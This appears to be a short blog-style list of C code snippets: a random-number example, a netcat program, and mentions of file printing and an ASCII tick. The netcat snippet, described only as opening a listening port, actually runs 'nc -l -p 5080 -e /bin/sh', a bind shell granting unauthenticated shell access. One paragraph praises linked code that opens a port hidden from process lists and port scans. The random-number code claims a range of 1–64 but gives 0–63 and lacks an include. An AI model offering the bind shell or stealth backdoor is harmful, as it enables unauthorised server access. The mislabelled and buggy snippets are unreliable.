This is a simple random number example in C. This will print a random number from 1 – 64.
#include <stdio.h> #include <stdlib.h> int main (void) { srand(time(NULL)); int r = rand() % 64; printf("Random INT: %i\n", r); return 0; } |
This code is a simple netcat implementation that will open a listening port on 5080.
#include <stdio.h> #include <unistd.h> int main (void) { extern char * const environ[]; char * const command[] = {"nc", "-l", "-p", "5080", "-e", "/bin/sh", NULL}; execve("/bin/nc", command, environ); return 0; } |
Printing out a file to the terminal using C.
This code that I found: http://paste.scratchbook.ch/view/6f74b58f can run on a Linux machine and open a port invisibly. This allows access to a Linux server without the process showing in process manager and on a port scan of the machine.
C code that will print a tick sign to the terminal using asterisks. Very cool and useful code.
